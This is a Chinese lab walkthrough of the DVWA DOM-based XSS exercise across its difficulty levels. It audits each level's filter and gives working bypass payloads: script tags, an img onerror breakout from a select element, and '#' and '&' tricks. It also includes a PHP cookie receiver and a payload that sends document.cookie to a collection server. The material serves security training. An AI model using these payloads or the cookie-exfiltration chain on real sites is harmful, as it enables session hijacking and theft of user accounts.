DVWA-XSS (DOM) DOM型跨站脚本攻击
XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript,也有Flash、VBscript,常见于盗取cookie。
DOM型XSS,是利用DOM树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>标签进行脚本的执行
LOW
审计源码

没有任何过滤
点击提交后可以看到default传参的内容为English

将English改为<script>alert(document.cookie)</script>
成功弹出cookie,利用成功

反弹cookie
真正的窃取cookie不止这么简单,我们这里在Web服务器中写一个接收cookie并保存的文件
getcookie.php
<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>

然后使用javascript获取cookie值,并访问getcookie.php,getcookie.php会将cookie值保存到cookie.txt中
首先测试访问getcookie.php是否正常
http://192.168.1.131/getcookie.php?cookie=nihao

查看是否生成cookie.txt

正常执行
在default传入
default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>

执行后查看cookie.txt是否反弹成功
成功反弹

Meidum
审计源码
<?php
// 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 获取 default 传参的值
$default = $_GET['default'];
// stripos 查找字符串首次出现的位置(不区分大小写)
// 查找到返回 true ,查找不到返回 false
// 判断不能查找到 <script ,并且不区分大小写
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
传参中不能含有<script,不过可以使用<img />标签,带上属性onerror='alert(document.cookie)'
测试default=<img src=1 onerror=alert(document.cookie)>

并没有弹窗,使用检查查看default的值传到了哪里

通过观察,传入的值在<option></option>标签中,尝试将传入</option>将标签闭合
default=</option><img src=1 onerror=alert(document.cookie)>

闭合后依然没有弹窗,再次检查查看default值传入了哪里

还是没有闭合,值依然在value中,尝试传入</select>闭合更外一层的<select>标签
default=</select><img src=1 onerror=alert(document.cookie)>

可以看到成功弹窗,检查查看是如何闭合的

Hihg
审计源码
<?php
// 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# 判断获取的 default 传入的值,只能是一下四种
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
// 默认选择 English
default:
header ("location: ?default=English");
exit;
}
}
?>
这里进行了一个白名单,只能是French、English、German、Spanish,否则无法执行
这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript,前面的等级也是

从这里可以看出,将lang的值写入到页面中
使用`#`,就可以绕过后端的检测,GET并不会获取到`#`号后面的内容,PHP认为`#`号后面注释的内容
测试`default=English #<script>alert(/xss/)</script>`
注意`English`后面时候空格的,如果不输入空格,会被当做default的值传入后端

当然&号也是可以的,&会被后端认为是另一个传参,也不会接收
default=English&<script>alert(document.cookie)</script>
&号前面是没有空格的,传参是紧密相连的

Impossible
审计源码

这里写到不做任何处理,在前段处理
查看前段代码

这里多了一个括号,这个括号就能阻止XSS了吗,我不相信
传入default=<script>alert(/xss/)</script>测试

可以看到这里没有对传入的特殊字符进行url解码,这样就过滤了<、/、#、&等特殊字符

浙公网安备 33010602011771号